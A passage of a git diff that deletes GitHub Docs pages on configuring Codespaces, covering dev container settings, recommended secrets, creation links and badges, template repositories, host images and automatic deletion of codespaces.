variables.product.prodname_vs_marketplace_shortname %}](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers). - -{% data reusables.codespaces.command-palette %} -1. Start typing "add dev" then click **Codespaces: Add Dev Container Configuration Files**. - - ![Screenshot of the Command Palette, with "add dev" entered and "Codespaces: Add Dev Container Configuration Files" listed.](/assets/images/help/codespaces/add-prebuilt-container-command.png) - -1. Click **Modify your active configuration**. -1. Update your feature selections, then click **OK**. -1. If you're working in a codespace, a prompt will appear in the lower-right corner. To rebuild the container and apply the changes to the codespace you're working in, click **Rebuild Now**. - - ![Screenshot of the message: "We've noticed a change to the dev container configuration." Below this is the "Rebuild Now" button.](/assets/images/help/codespaces/rebuild-prompt.png) - -{% endvscode %} diff --git a/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/automatically-opening-files-in-the-codespaces-for-a-repository.md b/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/automatically-opening-files-in-the-codespaces-for-a-repository.md deleted file mode 100644 index 582d271fd9bc..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/automatically-opening-files-in-the-codespaces-for-a-repository.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Automatically opening files in the codespaces for a repository -shortTitle: Automatically opening files -intro: 'You can set particular files to be opened automatically whenever someone creates a codespace for your repository and opens the codespace in the {% data variables.product.prodname_vscode %} web client.' -permissions: People with write permissions to a repository can create or edit the codespace configuration. -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up -redirect_from: - - /codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository ---- - -## Overview - -If there's a particular file that's useful for people to see when they create a codespace for your repository, you can set this file to be opened automatically in the {% data variables.product.prodname_vscode_shortname %} web client. You set this up in the dev container configuration file for your repository. - -The file, or files, you specify are only opened the first time a codespace is opened in the web client. If the person closes the specified files, those files are not automatically reopened the next time that person opens or restarts the codespace. - -> [!NOTE] -> This automation only applies to the {% data variables.product.prodname_vscode_shortname %} web client, not to the {% data variables.product.prodname_vscode_shortname %} desktop application, or other supported editors. - -## Setting files to be opened automatically - -{% data reusables.codespaces.edit-devcontainer-json %} -1. Edit the `devcontainer.json` file, adding a `customizations.codespaces.openFiles` property. The `customizations` property resides at the top level of the file, within the enclosing JSON object. For example: - - ```json copy - "customizations": { - "codespaces": { - "openFiles": [ - "README.md", - "scripts/tsconfig.json", - "docs/main/CODING_STANDARDS.md" - ] - } - } - ``` - - The value of the `openFiles` property is an array of one or more files in your repository. The paths are relative to the root of the repository (absolute paths are not supported). The files are opened in the web client in the order specified, with the first file in the array displayed in the editor. - -1. Save the file and commit your changes to the required branch of the repository. - -## Further reading - -* [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers) diff --git a/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/index.md b/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/index.md deleted file mode 100644 index 4906536d3da0..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Configuring dev containers -allowTitleToDifferFromFilename: true -intro: You can customize the dev container configuration for your repository. -versions: - fpt: '*' - ghec: '*' -children: - - /setting-a-minimum-specification-for-codespace-machines - - /adding-features-to-a-devcontainer-file - - /automatically-opening-files-in-the-codespaces-for-a-repository - - /specifying-recommended-secrets-for-a-repository ---- - diff --git a/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/setting-a-minimum-specification-for-codespace-machines.md b/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/setting-a-minimum-specification-for-codespace-machines.md deleted file mode 100644 index b18ec6c82925..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/setting-a-minimum-specification-for-codespace-machines.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Setting a minimum specification for codespace machines -shortTitle: Set a minimum machine spec -intro: 'You can avoid under-resourced machine types being used for {% data variables.product.prodname_github_codespaces %} for your repository.' -permissions: People with write permissions to a repository can create or edit the codespace configuration. -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up -redirect_from: - - /codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines ---- - -## Overview - -Each codespace that you create is hosted on a separate virtual machine. When you create a codespace from a repository, you can usually choose from different types of virtual machines. Each machine type has different resources (processor cores, memory, storage) and, by default, the machine type with the least resources is used. For more information, see [AUTOTITLE](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types). - -If your project needs a certain level of compute power, you can configure {% data variables.product.prodname_github_codespaces %} so that only machine types that meet these requirements can be used by default, or selected by users. You configure this in a `devcontainer.json` file. - -{% data reusables.codespaces.machine-types-for-unpublished-codespaces %} - -> [!IMPORTANT] -> Access to some machine types may be restricted at the organization level. Typically this is done to prevent people choosing higher resourced machines that are billed at a higher rate. If your repository is affected by an organization-level policy for machine types you should make sure you don't set a minimum specification that would leave no available machine types for people to choose. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types). - -## Setting a minimum machine specification - -{% data reusables.codespaces.edit-devcontainer-json %} -1. Edit the `devcontainer.json` file, adding the `hostRequirements` property at the top level of the file, within the enclosing JSON object. For example: - - ```json copy - "hostRequirements": { - "cpus": 8, - "memory": "8gb", - "storage": "32gb" - } - ``` - - You can specify any or all of the options: `cpus`, `memory`, and `storage`. - - To check the specifications of the {% data variables.product.prodname_github_codespaces %} machine types that are currently available for your repository, step through the process of creating a codespace until you see the choice of machine types. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). - -1. Save the file and commit your changes to the required branch of the repository. - - Now when you create a codespace for that branch of the repository, and you go to the creation configuration options, you will only be able to select machine types that match or exceed the resources you've specified. - - ![Screenshot of a list of machine types. The 2- and 4-core options are labeled "Below dev container requirements."](/assets/images/help/codespaces/machine-types-limited-choice.png) - -## Further reading - -* [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers) diff --git a/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/specifying-recommended-secrets-for-a-repository.md b/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/specifying-recommended-secrets-for-a-repository.md deleted file mode 100644 index 1dc3d3fc5fbb..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/specifying-recommended-secrets-for-a-repository.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Specifying recommended secrets for a repository -shortTitle: Specifying recommended secrets -intro: You can add a setting to your dev container configuration that will prompt people to set specific development environment secrets when they create a codespace. -permissions: People with write permissions to a repository can create or edit the codespace configuration. -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up ---- - -## About recommended secrets - -If a project needs user-specific secrets to be set up, you can prompt people to do this when they create a codespace. You do this by adding a setting to a dev container configuration file for the repository. - -After you specify recommended secrets, if people have not already created those secrets in their personal settings for {% data variables.product.prodname_codespaces %}, they will be prompted to do so when they use the advanced options method of creating a codespace. This is done on {% data variables.product.github %} by clicking the **{% octicon "code" aria-hidden="true" %} Code** button, then clicking the **Codespaces** tab, then selecting {% octicon "kebab-horizontal" aria-label="Codespace repository configuration" %} and clicking **New with options**. - -![Screenshot of the options dropdown in the "{% data variables.product.prodname_codespaces %}" tab, with the option "New with options" highlighted.](/assets/images/help/codespaces/default-machine-type.png) - -Recommended secrets are listed at the bottom of the page. - -<img src="/assets/images/help/codespaces/recommended-secrets.png" style="max-height:50rem" alt='Screenshot of the "Create codespace" page with four recommended secrets highlighted with a dark orange outline.' /> - -> [!NOTE] -> The names of the recommended secrets are only listed on this page when the container configuration on the selected branch specifies these secrets. - -Each recommended secret is displayed in one of three ways: - -* If the person has not set the recommended secret in their {% data variables.product.prodname_codespaces %} settings, an input box is displayed, allowing them to create the secret now. A description and link to more information are displayed if you have configured them. Entering a value is optional. -* If the person has already created the recommended secret but has not associated it with this repository, they can select a checkbox to add this association. Doing so is optional. -* If the person has already created the recommended secret and associated it with this repository, a preselected checkbox is displayed. - -### When to specify recommended secrets for a project - -You should use recommended secrets for development environment secrets that the user who creates the codespace, rather than the owner of the repository or organization, must provide. For example, if you have a public project, and users must provide a personal API key to run the application in your project, you can specify a recommended secret so that users will be prompted to provide the key as the value of the secret when they use the advanced options page to create a codespace. - -Alternatively, for development environment secrets that the owner of the repository or organization can provide, such as API keys shared across a team, you can set secrets at the level of the repository or organization. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization). - -## Specifying recommended secrets in the dev container configuration - -{% data reusables.codespaces.edit-devcontainer-json %} -1. Edit the `devcontainer.json` file, adding the `secrets` property at the top level of the file, within the enclosing JSON object. For example: - - ```json copy - "secrets": { - "NAME_OF_SECRET_1": { - "description": "This is the description of the secret.", - "documentationUrl": "https://example.com/link/to/info" - }, - "NAME_OF_SECRET_2": { } - } - ``` - -1. Add a property within `secrets` for each secret you want to recommend. For example, change `NAME_OF_SECRET_1` and `NAME_OF_SECRET_2`, in the previous code example, to the names of the secrets that people should create in their personal settings for {% data variables.product.prodname_codespaces %}. -1. Optionally, supply a description for each secret and a URL for more information about this secret. - - You can omit `description` and `documentationUrl`, as shown by `NAME_OF_SECRET_2` in the previous code example. - -1. Specify additional secrets, as required. -1. Save the file and commit your changes to the required branch of the repository. - -## Further reading - -* [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository?tool=webui#creating-a-codespace-for-a-repository) diff --git a/content/codespaces/setting-up-your-project-for-codespaces/index.md b/content/codespaces/setting-up-your-project-for-codespaces/index.md deleted file mode 100644 index 0e2c2f903f85..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: 'Setting up your project for {% data variables.product.prodname_github_codespaces %}' -shortTitle: Setting up your project -allowTitleToDifferFromFilename: true -intro: 'You can configure {% data variables.product.prodname_github_codespaces %} for the specific requirements of your project. Every time you create a codespace from your repository your working environment will have everything you need.' -versions: - fpt: '*' - ghec: '*' -children: - - /adding-a-dev-container-configuration - - /configuring-dev-containers - - /setting-up-your-repository ---- - diff --git a/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/facilitating-quick-creation-and-resumption-of-codespaces.md b/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/facilitating-quick-creation-and-resumption-of-codespaces.md deleted file mode 100644 index bb9f241a1278..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/facilitating-quick-creation-and-resumption-of-codespaces.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Facilitating quick creation and resumption of codespaces -shortTitle: Facilitating codespace creation -intro: 'You can add a link to take people straight to a page for creating a codespace, with your choice of options preconfigured. Alternatively you can link to the "Resume codespace" page.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up -redirect_from: - - /codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge - - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/adding-a-codespaces-badge ---- - -## Overview - -You can make it easy for people to work on your repository in a codespace by providing a link to the codespace creation page. One place you might want to do this is in the README file for your repository. For example, you can add the link to an "Open in {% data variables.product.prodname_github_codespaces %}" badge. - -![Screenshot of an "Open in {% data variables.product.prodname_github_codespaces %}" badge on a README page.](/assets/images/help/codespaces/codespaces-badge-on-readme.png) - -The link to the codespace creation page can include specific configuration options to help people create an appropriate codespace. People who use the link will be able to choose different options, if they want, before creating the codespace. For information about the available options, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). - -Alternatively, you can link to the "Resume codespace" page, which provides a quick way for people to open a codespace they were working on recently. - -## Creating a link to the codespace creation page for your repository - -You can use these URLs to link to the codespace creation page for your repository. Replace the text in uppercase letters. - -* Create a codespace for the default branch of the repository: - `https://codespaces.new/OWNER/REPO-NAME` -* Create a codespace for a specific branch of the repository: - `https://codespaces.new/OWNER/REPO-NAME/tree/BRANCH-NAME` -* Create a codespace for the topic branch of a pull request: - `https://codespaces.new/OWNER/REPO-NAME/pull/PR-SHA` - -### Configuring more options - -You can use the "Share a deep link" option to configure more options for the codespace and build a custom URL, then copy a Markdown or HTML snippet for an "Open in {% data variables.product.prodname_github_codespaces %}" badge. - -{% data reusables.repositories.navigate-to-repo %} -1. If you want to create a link for a branch other than the repository's default branch, under the repository name, click the button labeled with the name of the current branch. In the dropdown menu, select the branch for which you want to create a link. - - ![Screenshot of the branch dropdown menu, listing various branches. The dropdown menu, labeled with a branch icon and "trunk," is outlined in orange.](/assets/images/help/codespaces/branch-drop-down.png) - -1. Click the **{% octicon "code" aria-hidden="true" %} Code** button, then click the **Codespaces** tab. -1. To open the "Share codespace configuration" window, at the top right of the **Codespaces** tab, select {% octicon "kebab-horizontal" aria-label="Codespace repository configuration" %}, then click **Share a deep link**. - - ![Screenshot of the options dropdown in the "{% data variables.product.prodname_codespaces %}" tab. The "Share a deep link" option is highlighted with an orange outline.](/assets/images/help/codespaces/share-deep-link.png) - -1. Optionally, to take users to a page where they can quickly resume a recent codespace or create a new one, select **Quick start**. For more information, see [Creating a link to resume a codespace](#creating-a-link-to-resume-a-codespace). -1. Optionally, to specify a dev container configuration, select **Configuration file**, then use the dropdown menu to choose a configuration. If you don't specify a configuration, the default configuration for your repository is used. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). -1. Under "Snippets," you can copy the URL you have built, or copy a Markdown or HTML snippet including an "Open in {% data variables.product.prodname_github_codespaces %}" badge. To copy the URL or snippet, select between the **URL**, **HTML**, and **Markdown** tabs, then click {% octicon "copy" aria-label="Copy text to the system clipboard" %}. - - ![Screenshot of the "Share codespace configuration" window. Next to the "new codespace" URL, an icon of two overlapping squares is outlined in orange.](/assets/images/help/codespaces/copy-codespace-url.png) - -## Creating a link to resume a codespace - -You can create a link to a page for resuming your most recent codespace that matches the repository, branch, and other options specified in the URL. - -Add `?quickstart=1` to a `codespaces.new` URL, such as the URLs listed in the previous section of this article. This produces a URL that displays a "Resume codespace" page. - -For example, the URL `https://codespaces.new/octo-org/octo-repo?quickstart=1` opens a page to allow you to resume your most recent codespace for the default branch of the `octo-org/octo-repo` repository. - -![Screenshot of the "Resume codespace" page showing the "Resume this codespace" and "Create a new one" buttons.](/assets/images/help/codespaces/resume-codespace.png) - -> [!NOTE] -> * If the `codespaces.new` URL already contains a query string, add `&quickstart=1` at the end of the query string. -> * This type of URL will always open a codespace in the {% data variables.product.prodname_vscode_shortname %} web client, even if this is not set as your default editor for {% data variables.product.prodname_github_codespaces %}. - -If no matching codespaces are found, the page is titled "Create codespace" and a button is displayed for creating a new codespace with matching parameters. - -This type of URL is useful, for instance, in a README for your repository as it gives people a way of either creating a codespace, or resuming their codespace, in just a couple of clicks. - -## Creating an "Open in {% data variables.product.prodname_github_codespaces %}" badge - -> [!TIP] -> You can use the "Share a deep link" option to create a Markdown or HTML snippet that includes an "Open in {% data variables.product.prodname_github_codespaces %}" badge with a custom URL. For more information, see [Configuring more options](#configuring-more-options). - -1. Get the URL to the codespace creation page, or the "Resume codespace" page, as described in the previous sections. -1. Add the following Markdown to, for example, the `README.md` file of your repository: - - ```markdown copy - [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](URL) - ``` - - For example: - - ```markdown - [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/github/docs) - ``` - - The example Markdown is rendered like this: - - [![Open in GitHub Codespaces.](https://github.com/codespaces/badge.svg)](https://codespaces.new/github/docs) <!-- markdownlint-disable-line GHD033 --> diff --git a/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/index.md b/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/index.md deleted file mode 100644 index 30f46e7c9147..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: 'Setting up your repository for {% data variables.product.prodname_github_codespaces %}' -shortTitle: Setting up your repository -allowTitleToDifferFromFilename: true -intro: 'You can set up your repository to make it easy for people to work on a project using {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -children: - - /facilitating-quick-creation-and-resumption-of-codespaces - - /setting-up-a-template-repository-for-github-codespaces ---- - diff --git a/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/setting-up-a-template-repository-for-github-codespaces.md b/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/setting-up-a-template-repository-for-github-codespaces.md deleted file mode 100644 index 58018b64dbdd..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/setting-up-a-template-repository-for-github-codespaces.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Setting up a template repository for GitHub Codespaces -shortTitle: Set up a template repo -intro: 'You can help people get started with a project by setting up a template repository for use with {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up -redirect_from: - - /codespaces/setting-up-your-project-for-codespaces/setting-up-a-template-repository-for-github-codespaces ---- - -## Introduction - -By setting up a template repository, you can help people get started with your framework, library, or other project in {% data variables.product.prodname_github_codespaces %}. Users will be able to start working with your template files immediately in a cloud-based development environment, without having to worry about cloning your repository or installing tools or other dependencies. With some configuration, you will be able to set users up in a codespace with important files already open for editing, and with an application already running in a preview browser tab within the {% data variables.product.prodname_vscode_shortname %} web editor. - -Anyone with read access to your template repository can create a codespace from the repository's page on {% data variables.product.github %}. You can turn any existing repository into a template, and you do not have to change any settings to allow users to create a codespace from your template repository. For more information on turning a repository into a template, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-template-repository). - -To help users find your template and get started quickly, you can share a link to the codespace creation page for the template. For example, you could provide this link in a tutorial for getting started with your framework. You can use the "share a deep link" option and select **Quick start** to build a link that takes users to a page where they can quickly create a new codespace or resume a recent one. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/facilitating-quick-creation-and-resumption-of-codespaces#creating-a-link-to-the-codespace-creation-page-for-your-repository). - -When someone creates a codespace from your template, the contents of your template repository will be cloned into their codespace. When the user is ready, they will be able to publish their work to a new repository on {% data variables.product.github %} belonging to their personal account. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template). - -Organizations can pay for members of the organization and outside collaborators to use {% data variables.product.prodname_github_codespaces %} at the organization's expense. This includes codespaces created from template repositories owned by the organization. However, if a user publishes a codespace created from a template to their personal account, ownership and billing of the codespace transfers to the user who created the codespace. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#how-billing-is-handled-for-github-codespaces-templates). - -## Describe your template - -If you don't have one, create a README for your template repository to describe the purpose of your template and how to get started with it. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). - -You can also provide a short description of your project by navigating to the repository's page and clicking **{% octicon "gear" aria-label="Edit repository metadata" %}** next to the **About** section on the right of the page. - -![Screenshot of the "About" section on a repository page. The settings button (a gear symbol) is highlighted with a dark orange outline.](/assets/images/help/codespaces/repository-settings-icon.png) - -## Add starter files - -Template repositories typically contain starter files with boilerplate code so users can quickly get started with a library, framework, or other technology. - -For guidance on the kinds of files to include, you can look at the starter files included in the official {% data variables.product.company_short %} templates for {% data variables.product.prodname_github_codespaces %}, as follows. - -{% data reusables.codespaces.your-codespaces-procedure-step %} -{% data reusables.codespaces.view-all-templates-step %} -1. To view the template repository that contains the files for the template, click the name of the template. - - ![Screenshot of the "Explore quick start templates" section of the codespaces page. The names of the templates are highlighted with orange outlines.](/assets/images/help/codespaces/react-template-name.png) - -## Configure the dev container - -You can add dev container configuration files to your template repository to customize the development environment for people using your template with {% data variables.product.prodname_github_codespaces %}. You can choose from a list of predefined configuration settings in {% data variables.product.prodname_vscode %}, or you can create a custom configuration by writing your own `devcontainer.json` file. If you don't add configuration files, the default container image will be used. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers) and [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration). - -> [!NOTE] -> {% data reusables.codespaces.configuration-choice-templates %} - -You should configure your dev container with the tools and customization to give users the best experience with your template. For example, in your `devcontainer.json` file: -* You can use the `openFiles` property to define a list of files to be opened automatically in the {% data variables.product.prodname_vscode_shortname %} web client when a codespace is created from your template. -* If users need to provide personal secrets such as API keys to run the application in your template, you can prompt them to provide these secrets. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/specifying-recommended-secrets-for-a-repository). -* If your template contains files for a web application, you can make the application run automatically in the user's codespace. You can do this by using the `postAttachCommand` property to run a script that starts the application on a local server as soon as the {% data variables.product.prodname_vscode_shortname %} web client connects to the codespace, and by setting the `onAutoForward` property of a port to `openPreview` to display the application running on that port in a simple browser embedded in the {% data variables.product.prodname_vscode_shortname %} web client. - -The following configuration settings for a React template will open the `app.js` file in the user's editor, run `npm start` (defined in a `package.json` file) to start a local server, and forward port `3000` to a preview browser tab in the codespace. - -```json -{ - "postAttachCommand": { - "server": "npm start" - }, - - "portsAttributes": { - "3000": { - "label": "Application", - "onAutoForward": "openPreview" - } - }, - - "customizations": { - "codespaces": { - "openFiles": ["src/App.js"] - } - } -} -``` - -For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/automatically-opening-files-in-the-codespaces-for-a-repository) and the [dev containers specification](https://containers.dev/implementors/json_reference/#general-properties) on the Development Containers website. diff --git a/content/codespaces/setting-your-user-preferences/choosing-the-stable-or-beta-host-image.md b/content/codespaces/setting-your-user-preferences/choosing-the-stable-or-beta-host-image.md deleted file mode 100644 index 4f72cd582440..000000000000 --- a/content/codespaces/setting-your-user-preferences/choosing-the-stable-or-beta-host-image.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Choosing the stable or beta host image -shortTitle: Choose the host image -intro: 'You can choose to build codespaces using either the stable or beta version of the host image for the underlying virtual machine.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up ---- - -## About the virtual machine host image - -A {% data variables.product.prodname_dotcom %} codespace is a development environment provided by a Docker container that runs on a virtual machine (VM). For more information about the relationship of the development container and the VM, see [AUTOTITLE](/codespaces/quickstart#introduction). - -The VM for a codespace is built using a host image that defines the operating system of the VM. The image is periodically upgraded to improve security, functionality, and performance. The upgraded host image is initially made available as a beta release and subsequently becomes the stable release after a period of testing. You can choose, in your personal settings, to use either the stable or beta version of the host image. Any codespace you create or resume after changing this setting will run on a VM built from the specified host image. - -The stable image is the default selected setting. Changing the setting to the beta host image gives you early access to improvements and new features on the host VM, but may also introduce incompatibilities with your current dev container configuration. This gives you the opportunity to alter your dev container configuration to avoid problems before the beta image is promoted to the stable image. If you do encounter problems with the beta host image, you can switch back to the stable host image at any time. - -> [!NOTE] -> * It's unlikely you will encounter problems using the beta host image unless your dev container configuration has dependencies on components of the VM host kernel. -> * The virtual machine host image should not be confused with the dev container image, which provides the environment of your codespace. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces#overview). - -If you choose to use the beta host image but no beta image is currently available, your codespaces will be built using the stable host image. - -For information about the current host image versions, including the date on which the current stable image will be replaced by the current beta image, see [the `github/codespaces-host-images` repository](https://github.com/github/codespaces-host-images/blob/main/README.md). - -## Choosing the host image - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. Under "Host image version preference", select either **Stable** or **Beta**. - - ![Screenshot of the "Host image version preference" options, with "Stable" selected.](/assets/images/help/codespaces/host-image-choice.png) - -## Further reading - -* [AUTOTITLE](/codespaces/customizing-your-codespace) -* [AUTOTITLE](/codespaces/managing-your-codespaces) diff --git a/content/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces.md b/content/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces.md deleted file mode 100644 index 674db18a9a1f..000000000000 --- a/content/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces.md +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Configuring automatic deletion of your codespaces -shortTitle: Configure automatic deletion -intro: 'Inactive codespaces are automatically deleted. You can choose how long your stopped codespaces are retained, up to a maximum of 30 days.' -redirect_from: - - /codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -type: how_to ---- - -By default, {% data variables.product.prodname_github_codespaces %} are automatically deleted after they have been stopped and have remained inactive for 30 days. - -However, because {% data variables.product.prodname_github_codespaces %} incurs storage charges, you may prefer to reduce the retention period by changing your default period in your personal settings for {% data variables.product.prodname_github_codespaces %}. For more information about storage charges, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). - -> [!NOTE] -> Whether or not you have set a personal codespace retention period, it's a good idea to get into the habit of deleting codespaces that you no longer need. See [AUTOTITLE](/codespaces/developing-in-a-codespace/deleting-a-codespace). - -Automatic deletion happens irrespective of whether a codespace contains unpushed changes. To prevent automatic deletion of a codespace, just open the codespace again. The retention period is reset every time you connect to a codespace, and the retention countdown restarts when the codespace is stopped. - -If a repository belongs to an organization, the organization owner may have set a retention period for the whole organization. If this period is less than the default retention period in your personal settings then the organization retention period will apply to codespaces you create for this repository. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces). - -Each codespace has its own retention period. You may, therefore, have codespaces with different retention periods. For example, if: -* You created a codespace, changed your default retention period, then created another codespace. -* You created a codespace using {% data variables.product.prodname_cli %} and specified a different retention period. -* You created a codespace for an organization-owned repository that has a retention period configured in the organization settings. The ownership of the codespaces you create is shown on the [Your codespaces](https://github.com/settings/codespaces) page. - -> [!NOTE] -> The retention period is specified in days. A day represents a 24-hour period, beginning at the time of day when you stop a codespace. - -{% webui %} - -## Setting a default retention period for your codespaces - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. Under "Default retention period", enter the number of days for which you want your codespaces to be retained, by default, after they have been stopped. - - ![Screenshot of the "Default retention period" setting, currently set to 1 day. Next to the number of days is the "Save" button.](/assets/images/help/codespaces/setting-default-retention.png) - - You can set your default retention period between `0` and `30` days. - - > [!WARNING] - > Setting the period to `0` will result in your codespaces being immediately deleted when you stop them, or when they timeout due to inactivity. See [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces). - -1. Click **Save**. - -When you create a codespace using {% data variables.product.prodname_cli %} you can override this default. If you create a codespace in an organization that specifies a shorter retention period, the organization-level value overrides your personal setting. - -If you set a retention period of more than a day, you'll be sent an email notification one day prior to its deletion. - -## Checking the remaining time until autodeletion - -You can check whether a codespace is due to be automatically deleted soon. - -When an inactive codespace is approaching the end of its retention period, this is indicated in your list of codespaces on {% data variables.product.prodname_dotcom %} at [https://github.com/codespaces](https://github.com/codespaces). - -![Screenshot of a list of three codespaces. The third of these is labeled "Expiring in 4 days" which is highlighted with a dark orange outline.](/assets/images/help/codespaces/retention-deletion-message.png) - -## Avoiding automatic deletion of codespaces - -You may have a codespace that you want to keep for longer than the retention period defined in your personal settings. You can do this by using the "Keep codespace" option. When you select this option, your codespace will be retained indefinitely, until you delete it manually. - -> [!NOTE] -> The "Keep codespace" option is not available for organization-owned codespaces affected by an organization retention policy. - -Codespaces incur storage costs, or consume your included storage allowance if the codespace is owned by your personal {% data variables.product.prodname_dotcom %} account. You should therefore be aware of the cost implications of storing codespaces indefinitely. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-storage-usage). - -{% data reusables.codespaces.your-codespaces-procedure-step %} -1. To the right of the codespace you want to exempt from automatic deletion, click {% octicon "kebab-horizontal" aria-label="Codespace configuration" %}, then click **{% octicon "bookmark" aria-hidden="true" %} Keep codespace**. - - ![Screenshot of the dropdown menu for an active codespace. The "Keep codespace" option has a tooltip saying "Expires 10 days after shutdown."](/assets/images/help/codespaces/keep-codespace.png) - -Codespaces that you have exempted from automatic deletion are indicated in your list of codespaces with the bookmark icon ({% octicon "bookmark-fill" aria-hidden="true" %}). - -![Screenshot of a section of the codespaces list, showing a codespace labeled with the bookmark icon.](/assets/images/help/codespaces/keep-codespace-bookmarked.png) - -{% endwebui %} - -{% cli %} - -## Setting a retention period for a codespace - -{% data reusables.codespaces.using-github-cli %} - -To set the codespace retention period when you create a codespace, use the `--retention-period` flag with the `codespace create` subcommand. Specify the period in days. The period must be between 0 and 30 days. - -```shell -gh codespace create --retention-period DAYS -``` - -If you don't specify a retention period when you create a codespace, then either your default retention period, or an organization retention period, will be used, depending on which is lower. For information about setting your default retention period, click the "Web browser" tab on this page. - -{% data reusables.cli.cli-learn-more %} - -{% endcli %} - -{% vscode %} - -## Setting the retention period - -You can set your default retention period in your web browser, on {% data variables.product.github %}. Alternatively, if you use {% data variables.product.prodname_cli %} to create a codespace you can set a retention period for that particular codespace. For more information, click the appropriate tab above. - -## Checking whether 